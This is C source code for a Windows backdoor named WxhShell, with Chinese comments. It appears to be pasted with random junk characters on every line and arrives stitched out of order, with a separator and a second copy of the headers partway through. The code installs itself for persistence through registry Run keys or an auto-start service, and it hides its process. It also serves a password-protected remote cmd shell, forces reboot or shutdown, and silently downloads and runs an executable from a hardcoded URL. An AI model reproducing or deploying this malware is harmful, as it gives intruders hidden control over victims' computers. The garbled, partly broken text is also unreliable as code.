  case 'd': { ,6-:VIHQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wk)OkIFR  
    if(Boot(SHUTDOWN)) u6AA4(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3B84^>U<  
    else { U4d:] z  
    closesocket(wsh); IZpP[hov  
    ExitThread(0); vEJWFoeEFm  
    } 0cj>mj1M  
    break; e 9;~P}  
    } !@}wDt  
  // 获取shell I}1NB3>^  
  case 's': { wB.&}p9p  
    CmdShell(wsh); C{U?0!^  
    closesocket(wsh); &5yV xL:  
    ExitThread(0); .yz}ROmN^  
    break; E=nIRG|g  
  } vSEuk}pk  
  // 退出 y*qVc E  
  case 'x': { As'=tIro  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YNQY4\(  
    CloseIt(wsh); <0Xf9a8>  
    break; \W~ N  
    } E|iQc8gr&  
  // 离开 F(>Np2oi6  
  case 'q': { 1*\o.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h2G$@8t}I  
    closesocket(wsh); Q+[n91ey**  
    WSACleanup(); YtmrRDQs  
    exit(1); GPN]9  
    break; Fld=5B^}  
        } AE[b},-[  
  } JRB9rSN^  
  } LRL,m_gt  
oKuI0-*mR  
  // 提示信息 "&Y`+0S8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k>;`FFQU>  
} HiZ*+T.B  
  } G?O1>?4C  
nT7%j{e=L  
  return; r>>%2Z-P  
} T&6l$1J  
<M+|rD]oc  
// shell模块句柄 |-:()yxs  
int CmdShell(SOCKET sock) GS$ifv  
{ Tp/6,EE  
STARTUPINFO si; v[1aW v:  
ZeroMemory(&si,sizeof(si)); ! >FYK}c7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xi~?>f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ekWD5,G  
PROCESS_INFORMATION ProcessInfo; wW>A_{Y  
char cmdline[]="cmd"; d; boIP`M;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s6 uG`F"  
  return 0; ztcp/1jIvS  
} jeoz* Dz  
(C\]-E>  
// 自身启动模式 f6hnTbJ  
int StartFromService(void) I|qo+u)  
{ )_HA>o_?C:  
typedef struct &."iFe  
{ lXW%FH6c+  
  DWORD ExitStatus; u^^[Q2LDU}  
  DWORD PebBaseAddress; BC^ :=  
  DWORD AffinityMask; b RFLcM  
  DWORD BasePriority; y%"{I7!A  
  ULONG UniqueProcessId; DX#Nf""Pw  
  ULONG InheritedFromUniqueProcessId; mE+*)gb:Rd  
}   PROCESS_BASIC_INFORMATION; ~Y^+M*   
Sc]B#/~B  
PROCNTQSIP NtQueryInformationProcess; +}Dw3;W}m  
\ 2M_\Q`NY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |jGf<Bf5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IaSR;/  
<FV1Wz  
  HANDLE             hProcess; G#ZH.24Y  
  PROCESS_BASIC_INFORMATION pbi; \V;F/Zy(  
jys:5P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8{^kQ/]'|  
  if(NULL == hInst ) return 0;  dm\F  
BX`{73sw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ri<u/ ]oR"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I fK,b*%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?+))}J5N\  
LBw1g<&  
  if (!NtQueryInformationProcess) return 0; g];!&R-  
p_RsU`[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >^u2cAi3[  
  if(!hProcess) return 0; Snj'y,p[  
~[t[y~Hup  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cjn#00  
h79}qU  
  CloseHandle(hProcess); yb<fpM  
y8]B:_iU9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kg{+T`  
if(hProcess==NULL) return 0; is?{MJZ_  
pC#E_*49  
HMODULE hMod; \"7*{L:  
char procName[255]; R$R *'l  
unsigned long cbNeeded; !z\h| wU+  
j*|VctM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yuh *  
<$D`Z-6  
  CloseHandle(hProcess); =*oJEy"  
x+\`gK5  
if(strstr(procName,"services")) return 1; // 以服务启动 2=*H 8'k  
OAgniLv  
  return 0; // 注册表启动 9SX +  
} AP3a;4Z#  
ahusta  
// 主模块 y6g&Y.:o  
int StartWxhshell(LPSTR lpCmdLine) >xN .F/[K  
{ M[NV )q/)  
  SOCKET wsl; j * %  
BOOL val=TRUE; 'NWfBJm  
  int port=0; &h}#HS>l  
  struct sockaddr_in door; iDpSj!x/_  
_P!m%34|  
  if(wscfg.ws_autoins) Install(); bL0yuAwF2  
xVw9v6@`h  
port=atoi(lpCmdLine); 2R[:]-b  
sU=H&D99  
if(port<=0) port=wscfg.ws_port; K%t*8 4j  
Kew@&j~  
  WSADATA data; j`EXlc~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ))qy;Q,  
x`mG<Yt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oh4E7yN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vx{}}/B]J  
  door.sin_family = AF_INET; })'B<vq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,V7nzhA2  
  door.sin_port = htons(port); M`0V~P`^  
% aP!hy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0- B5`=yU  
closesocket(wsl); XgZD%7  
return 1;  4j*  
} u2tfF  
!hm]fh_j  
  if(listen(wsl,2) == INVALID_SOCKET) { y#`tgJ:  
closesocket(wsl); :a!^   
return 1; T;4NRC  
} P?%s #I:  
  Wxhshell(wsl); +5)nk}  
  WSACleanup(); xw.A #Zb\_  
(O\ )_#-D  
return 0; 91/Q9xY  
Q1Kfi8h}'  
} %7hrk  
Kf3"Wf^q   
// 以NT服务方式启动 n3WlZ!$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aHD]k8 m z  
{ r-,%2y?  
DWORD   status = 0; ,Co|-DYf}  
  DWORD   specificError = 0xfffffff; !M(xG%M-V  
[DuttFX^x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %O;:af"Ja8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W"scV@HKu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &0d# Y]D4`  
  serviceStatus.dwWin32ExitCode     = 0; 9gW|}&-  
  serviceStatus.dwServiceSpecificExitCode = 0; _T60;ZI+^  
  serviceStatus.dwCheckPoint       = 0; 'B |JAi?  
  serviceStatus.dwWaitHint       = 0; ?d*z8w  
@@f"%2ZR[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $z6_@`[  
  if (hServiceStatusHandle==0) return; GblA9F7  
Y/F6\oh  
status = GetLastError(); -E[Kml~U  
  if (status!=NO_ERROR) I^.Om])  
{ O 2V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Cp\6W[2+B  
    serviceStatus.dwCheckPoint       = 0; poE0{HOU  
    serviceStatus.dwWaitHint       = 0; hW<%R]^|  
    serviceStatus.dwWin32ExitCode     = status; |]bsCmD  
    serviceStatus.dwServiceSpecificExitCode = specificError; /PVk{3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i$Ul(?  
    return; cZ,b?I"Q%  
  } wLIMv3;k  
soxc0OlN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gb1V~  
  serviceStatus.dwCheckPoint       = 0; 2Ah#<k-gC;  
  serviceStatus.dwWaitHint       = 0; {p2!|A&a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +|3@=.V  
} RH W]Z Pr<  
AI2)g1m  
// 处理NT服务事件,比如:启动、停止 <sbu;dQ`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )$2QZ qX  
{ h4gXvPS&r  
switch(fdwControl) hPkp;a #  
{ =IZT(8  
case SERVICE_CONTROL_STOP: ,)cM3nu  
  serviceStatus.dwWin32ExitCode = 0; L(6d&t'|-R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %uDi#x.  
  serviceStatus.dwCheckPoint   = 0; gT. sj d  
  serviceStatus.dwWaitHint     = 0; &u."A3(  
  { CO/]wS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `v!urE/gg%  
  } %@b0[ZC  
  return; h,:m~0gmj  
case SERVICE_CONTROL_PAUSE: ]h`&&Bqt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .vf'YNQ%  
  break; mY|)KJ  
case SERVICE_CONTROL_CONTINUE: [>I<#_^~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l:~/<`o  
  break; J3V= 46Yc  
case SERVICE_CONTROL_INTERROGATE: uo9B9"&  
  break; ELoDd&d8  
}; LVM%"sd?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n` _{9R  
} ~7w"nIs<c  
,_ H:J.ik  
// 标准应用程序主函数 mthA4sz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n&4N[Qlv,  
{ C}j"Qi`  
XX TL..  
// 获取操作系统版本 K!%+0)A  
OsIsNt=GetOsVer(); #lo6c;*m5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KfEx"94  
0],r0  
  // 从命令行安装 NG=-NxEcN  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5DU6rks%  
QO:!p5^:  
  // 下载执行文件 /{J4:N'B>  
if(wscfg.ws_downexe) { 1t~G|zhX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n+9=1Oo"  
  WinExec(wscfg.ws_filenam,SW_HIDE); *8A  
} C3f' {}  
>h9I M$2  
if(!OsIsNt) { )AtD}HEv  
// 如果时win9x,隐藏进程并且设置为注册表启动 !?jrf] A@  
HideProc(); M] %?>G  
StartWxhshell(lpCmdLine); KK4`l}Fk:n  
} O`kl\K*R7  
else O/(`S<iip  
  if(StartFromService()) }"H,h)T  
  // 以服务方式启动 R%WCH?B<}  
  StartServiceCtrlDispatcher(DispatchTable); yxQ1`'[CR  
else hh%-(HaLX3  
  // 普通方式启动 &m7]v,&  
  StartWxhshell(lpCmdLine); a5^] 20Fa  
sE<V5`Z=  
return 0; P`+{@@  
} H2 {+)  
u~:y\/Y6  
x_}:D *aI  
Mj3A5;#  
=========================================== +)om^e@.  
 qA7>vi%  
k"%~"9  
NiEUW.0  
RLXL&  
,-LwtePJ0  
" NA`SyKtg_  
Q8tL[>Xt  
#include <stdio.h> UgSB>V<?  
#include <string.h> O6 3<AY@  
#include <windows.h> 2wg5#i  
#include <winsock2.h> 558V_y:  
#include <winsvc.h> 8'[7 )I=  
#include <urlmon.h> ~W'{p  
9L?.m&  
#pragma comment (lib, "Ws2_32.lib") 8 >EWKI9  
#pragma comment (lib, "urlmon.lib") <al(7  
=o(5_S.u;  
#define MAX_USER   100 // 最大客户端连接数 9&2O 9Nz6  
#define BUF_SOCK   200 // sock buffer 8 ^2oWC#U(  
#define KEY_BUFF   255 // 输入 buffer lv<*7BCp  
I*{ nP)^9  
#define REBOOT     0   // 重启 d L 1tl  
#define SHUTDOWN   1   // 关机 4[r0G+  
uBKgcpvTs  
#define DEF_PORT   5000 // 监听端口 ~H_/zK6e  
nNV'O(x}  
#define REG_LEN     16   // 注册表键长度 dq6m>;`  
#define SVC_LEN     80   // NT服务名长度 _/$Bpr{R  
}eU*( }<^  
// 从dll定义API ~ 'cmSiz-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xh,qNnGGi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ a<h/4#|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <c-=3}=U\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %@aSe2B  
iL&fgF"'  
// wxhshell配置信息 O, wJR  
struct WSCFG { K(rWNO  
  int ws_port;         // 监听端口 TDKki(o=~  
  char ws_passstr[REG_LEN]; // 口令 Tbih+# ?  
  int ws_autoins;       // 安装标记, 1=yes 0=no &j`}vg  
  char ws_regname[REG_LEN]; // 注册表键名 ".V$~n(  
  char ws_svcname[REG_LEN]; // 服务名 k68T`Ub\W6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'Cfl*iNb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wx}8T[A}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X1|njJGO1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jb@V}Ul$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lc,Pom  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~9]hV7y5C  
Qh3YJ=X&  
}; ||= )d&  
rig,mv  
// default Wxhshell configuration o Q2Fjj  
struct WSCFG wscfg={DEF_PORT, `Bp.RXsd*  
    "xuhuanlingzhe", )gIKH{JYL  
    1, ^WgX Qtn  
    "Wxhshell", Xm}/0g&7  
    "Wxhshell", jDfC=a])  
            "WxhShell Service", S(I{NL}= $  
    "Wrsky Windows CmdShell Service", ]EBxl=C}D  
    "Please Input Your Password: ",  .-c4wm}  
  1, =E4LRKn  
  "http://www.wrsky.com/wxhshell.exe", u#$]?($}d  
  "Wxhshell.exe" Y|f[bw  
    }; <tNBxa$gS  
Qf+\;@  
// 消息定义模块 pfDc9PMj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; - t'jNR'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y'S%O/$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; - q1?? u  
char *msg_ws_ext="\n\rExit."; 5h-SCB>P  
char *msg_ws_end="\n\rQuit."; Tod&&T'UW  
char *msg_ws_boot="\n\rReboot..."; O)*+="Rg  
char *msg_ws_poff="\n\rShutdown..."; zuad~%D<I  
char *msg_ws_down="\n\rSave to "; T{.pM4Hd  
?m}s4a  
char *msg_ws_err="\n\rErr!"; r&JgLC(   
char *msg_ws_ok="\n\rOK!"; W)2p@j59A  
b9J_1Gl]  
char ExeFile[MAX_PATH]; R6Km\N  
int nUser = 0; OJuG~euy  
HANDLE handles[MAX_USER]; wj^3N7_:w  
int OsIsNt; V)HG(k  
kR-SE5`Jk  
SERVICE_STATUS       serviceStatus; Nho>f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L^2%1GfE{  
#ym'AN  
// 函数声明 fI}to&qk  
int Install(void); -`kW&I0  
int Uninstall(void); W0@n/U  
int DownloadFile(char *sURL, SOCKET wsh); uK"=i8rs4  
int Boot(int flag); !Vn\u  
void HideProc(void); ghG**3xr  
int GetOsVer(void); {j?FNOJn  
int Wxhshell(SOCKET wsl); *SDs;kg  
void TalkWithClient(void *cs); N1}sHyVq7  
int CmdShell(SOCKET sock); .+3g*Dv{&  
int StartFromService(void); yy^q2P  
int StartWxhshell(LPSTR lpCmdLine); '4+ ur`  
 F2LLN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Uzm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M#4p E_G  
30#s aGV  
// 数据结构和表定义 \^J%sf${  
SERVICE_TABLE_ENTRY DispatchTable[] = (&F}/s gbi  
{ XH4  
{wscfg.ws_svcname, NTServiceMain}, %+W{iu[|  
{NULL, NULL} r1`x=r   
}; |P HT694Uz  
f;o5=)Y  
// 自我安装 eCU:Q  
int Install(void) "Y =;.:qe  
{ .PIL +x*]N  
  char svExeFile[MAX_PATH]; BDW^7[n  
  HKEY key; o4F2%0gJ  
  strcpy(svExeFile,ExeFile); s^G.]%iU  
|}s*E_/[  
// 如果是win9x系统,修改注册表设为自启动 'j8:vq^d  
if(!OsIsNt) { u"cV%(#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jKAEm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DZ'P@f)]  
  RegCloseKey(key); {0Yf]FQb-a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RNEp4x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YW,tCtI0_  
  RegCloseKey(key); ,GbR!j@6  
  return 0; UJAv`yjG  
    } 1y@i}<9F  
  } ]b:Lo  
} abmYA#  
else { 17%,7P9pg  
<s31W3<v  
// 如果是NT以上系统,安装为系统服务 0y'H~(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VX0 %a@ur  
if (schSCManager!=0) WTQ\PANAaR  
{ `_Zg3_K.dS  
  SC_HANDLE schService = CreateService jP$a_hW  
  ( p SH=%u>  
  schSCManager, .=7vI$ujd  
  wscfg.ws_svcname, Mlg0WrJ|2  
  wscfg.ws_svcdisp,  L2[($l  
  SERVICE_ALL_ACCESS, W fN2bsx>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V5nwu#  
  SERVICE_AUTO_START, ky,(xT4  
  SERVICE_ERROR_NORMAL, <SAzxo:I  
  svExeFile, *MFIV02[N  
  NULL, 1Kw+,.@d  
  NULL, ~]IOK$1F%  
  NULL, 93 )sk/j  
  NULL, 5K1)1E/Fu  
  NULL bivuqKA  
  ); .,|G7DGH]  
  if (schService!=0) :\`o8`  
  { }#RakV4  
  CloseServiceHandle(schService); ,GhS[VJjR  
  CloseServiceHandle(schSCManager); Hh3X \  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iJI }TVep#  
  strcat(svExeFile,wscfg.ws_svcname); I3{PZhU.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CAig ]=2'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :S{BbQ){]  
  RegCloseKey(key); \j}ZB<.>  
  return 0; K^)Eb(4  
    } '5#^i:  
  } h ohfE3rd  
  CloseServiceHandle(schSCManager); T[w]o}>cW  
} _2Zx?<] 2E  
} h9&0Z +zs  
!3c\NbU  
return 1; 1Z/(G1  
} a{'vN93  
@ p9i  
// 自我卸载 )Yh+c=6 ?  
int Uninstall(void) gS!:+G%  
{ x}wG:K  
  HKEY key; @muRxi  
ehGLk7@7&  
if(!OsIsNt) { HYD'.uj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B-Ll{k^  
  RegDeleteValue(key,wscfg.ws_regname); s0TORl6Z|  
  RegCloseKey(key); :%_LpZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g{]0sn#  
  RegDeleteValue(key,wscfg.ws_regname); 8rAg \H3E  
  RegCloseKey(key); ,\W 8b-Z  
  return 0; -lr vKrt7  
  } [r\Du|R-*  
} A_"w^E{P  
} &)# ihK_  
else { niMsQ  
;0]aq0_#(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xk9%F?)  
if (schSCManager!=0) IEL%!RFG  
{ 6fE7W>la  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7~G9'P<  
  if (schService!=0) .Bl\Z  
  { XFVE>/H  
  if(DeleteService(schService)!=0) { K C*e/J  
  CloseServiceHandle(schService); y;m|  
  CloseServiceHandle(schSCManager); 1W c=5!  
  return 0; nK1Slg#U  
  } >mbHy<<  
  CloseServiceHandle(schService); 9d0@wq.  
  } 1sy[ @Q2b  
  CloseServiceHandle(schSCManager); G{As,`{  
} ih-#5M@  
} gMi0FO'  
//up5R_nx  
return 1; kYE9M8s;  
} <`8n^m*  
{ T/[cu<  
// 从指定url下载文件 OR P\b  
int DownloadFile(char *sURL, SOCKET wsh) X~b X5b[P  
{ CImWd.W9~  
  HRESULT hr; \Gef \   
char seps[]= "/"; Y,qI@n<  
char *token; hk;5w{t}}  
char *file; v4a8}G  
char myURL[MAX_PATH]; E<rp7~#  
char myFILE[MAX_PATH]; ; }I:\P  
'0;l]/i.  
strcpy(myURL,sURL); )NW)R*m~D  
  token=strtok(myURL,seps); c8 )DuJ#U  
  while(token!=NULL) + )AG*  
  { aL\PGdgO  
    file=token; C!O0xhs  
  token=strtok(NULL,seps); % :f&.@'r  
  } LRxZcxmy  
MVpGWTH@F  
GetCurrentDirectory(MAX_PATH,myFILE); ~p6 V,Q  
strcat(myFILE, "\\"); ,hDW Ps2S  
strcat(myFILE, file); 4Co6(  
  send(wsh,myFILE,strlen(myFILE),0); B6+khuG(  
send(wsh,"...",3,0); +zqn<<9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R3f89  
  if(hr==S_OK) Uk[b|<U-`d  
return 0; 3oj' ytxN  
else J/`<!$<c  
return 1; ^do9*YejX;  
f#>,1,S  
} tH@Erh|%  
#Qw0&kM7I  
// 系统电源模块 .fqN|[>  
int Boot(int flag) ?6!JCQJ<  
{ nQZx= JK  
  HANDLE hToken; +%z> H"J.  
  TOKEN_PRIVILEGES tkp; G{~J|{t\yz  
@,j*wnR  
  if(OsIsNt) { @f>-^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '`[&}R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oi7@s0@  
    tkp.PrivilegeCount = 1; E:_ZA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n t;m+by  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3)wN))VBX  
if(flag==REBOOT) { ](]i 'fE>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #FLb*%Nr  
  return 0; tPWLg),  
} H064BM  
else { /|m2WxK)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S&5&];Ag  
  return 0; aH(J,XY  
} *\a4wZ6<3  
  } ah$b [\#C  
  else { un"Gozmt5  
if(flag==REBOOT) { "m$##X\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IZ-1c1   
  return 0; yf.~XUk^  
}  #4NaL  
else { S"QWB`W2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !RS}NS  
  return 0; 5X$jl;6  
} 1p3z1_wrs  
} V*;(kEqj  
GT.,  
return 1; np^N8$i:n  
} dm0R[[7  
yx8z4*]kH  
// win9x进程隐藏模块 wo{gG?B  
void HideProc(void) qbN =4  
{ A1$TXr  
\A#41  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Igt#V;kK"2  
  if ( hKernel != NULL ) LKB$,pR~1l  
  { c9 eM/*:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Oc0a77@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U[-o> W#  
    FreeLibrary(hKernel); i v38p%Zm  
  } 2%Ri,4SRb  
]L.O8  
return; _Kf%\xg  
} 3AtGy'NTp  
q-2Bt,Y  
// 获取操作系统版本 rl;~pO5R9  
int GetOsVer(void) yjX9oxhtL  
{ N0Lw}@p  
  OSVERSIONINFO winfo; .o^l z 9:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xza(k  
  GetVersionEx(&winfo); >Eto( y"q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K#d`Hyx  
  return 1; ;(Or`u]Dr  
  else CNyIQ}NJ  
  return 0; DU'`ewLL7  
} CAWNDl4  
BoWg0*5xb  
// 客户端句柄模块 dt]-,Y  
int Wxhshell(SOCKET wsl) R4cM%l_#W  
{ ~L\z8[<C  
  SOCKET wsh; _4So{~Gf1  
  struct sockaddr_in client; &i6mW8l  
  DWORD myID; n0 {i&[I~+  
9wwqcx)3(  
  while(nUser<MAX_USER) OX!tsARC@  
{ 19)i*\+  
  int nSize=sizeof(client); ES7>H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -<!NXm|kvz  
  if(wsh==INVALID_SOCKET) return 1; }B+C~@j  
j{A y\n(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $k%2J9O  
if(handles[nUser]==0) %s|Ely)  
  closesocket(wsh); X`>i& I]  
else E6ElNgL  
  nUser++; cp7=epho  
  } t\,PB{P:J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m}t`FsB.  
WX?IYQ+  
  return 0; k$R-#f;  
} Y"aJur=`  
nRS}}6Q  
// 关闭 socket ?P`K7  
void CloseIt(SOCKET wsh) AjMh,@  
{ oW*16>IN9l  
closesocket(wsh); l<LI7Z]A  
nUser--; 6SkaH<-&K  
ExitThread(0); d.d/<  
} JIOR4'9  
v%z=ysA  
// 客户端请求句柄 NP3y+s  
void TalkWithClient(void *cs) [D4SW#  
{ *C*U5~Zq7:  
E KLyma&}Y  
  SOCKET wsh=(SOCKET)cs; ]MitOkX  
  char pwd[SVC_LEN]; kfY}S  
  char cmd[KEY_BUFF]; DU/]  
char chr[1]; )_S(UVI5  
int i,j; 9IfmW^0  
;))+>%SGCt  
  while (nUser < MAX_USER) { c9u`!'g`i  
l4YJ c  
if(wscfg.ws_passstr) { {@{']Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vaw+.sG`AP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XJ| <?   
  //ZeroMemory(pwd,KEY_BUFF); 7WS p($  
      i=0; {qJ1ko)$  
  while(i<SVC_LEN) { G@X% +$I  
051 E6-  
  // 设置超时 ?X<eV1a   
  fd_set FdRead; Zt{[ *~  
  struct timeval TimeOut; L48_96  
  FD_ZERO(&FdRead); Hd ={CFip  
  FD_SET(wsh,&FdRead); e\zm7_+i{  
  TimeOut.tv_sec=8; $ >eCqC3  
  TimeOut.tv_usec=0;  {Gk1vcq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZG8DIV\D7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7# Kn8s  
08\, <9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eJX9_6m-  
  pwd=chr[0]; )g%d:xI  
  if(chr[0]==0xd || chr[0]==0xa) { `e&Suyf4B  
  pwd=0; {ROVvs`  
  break; Vv=. -&'  
  } |3"KK  
  i++; PB*&aYLU  
    } ~P **O~  
:{l_FY436  
  // 如果是非法用户,关闭 socket #r\4sVg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .|fH y  
} Y)2,PES=  
p]+Pkxz]'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >@_^fw)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pO3SUOP  
Kn;"R:  
while(1) { I-(zaqp@  
SZ'R59Ee<  
  ZeroMemory(cmd,KEY_BUFF); ;'@9[N9  
~HsJUro  
      // 自动支持客户端 telnet标准   N5 6g+,w%)  
  j=0; }(73Syl#  
  while(j<KEY_BUFF) { ^Y \"}D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d^ 8ZeC#  
  cmd[j]=chr[0]; N<VJ(20y  
  if(chr[0]==0xa || chr[0]==0xd) { /7F:T[  
  cmd[j]=0; X5$Iyis  
  break; xY(*.T9K  
  } 6?J i7F  
  j++; @K !T,U  
    } Aw.qK9I  
&B1WtW  
  // 下载文件 bK&+5t&  
  if(strstr(cmd,"http://")) { GGs}i1m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f r6 fj  
  if(DownloadFile(cmd,wsh)) {hrX'2:ClT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 33B]RGq  
  else {cVEmvE8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c`w}|d]mC  
  } o]oum,Q  
  else { u\;C;I-? '  
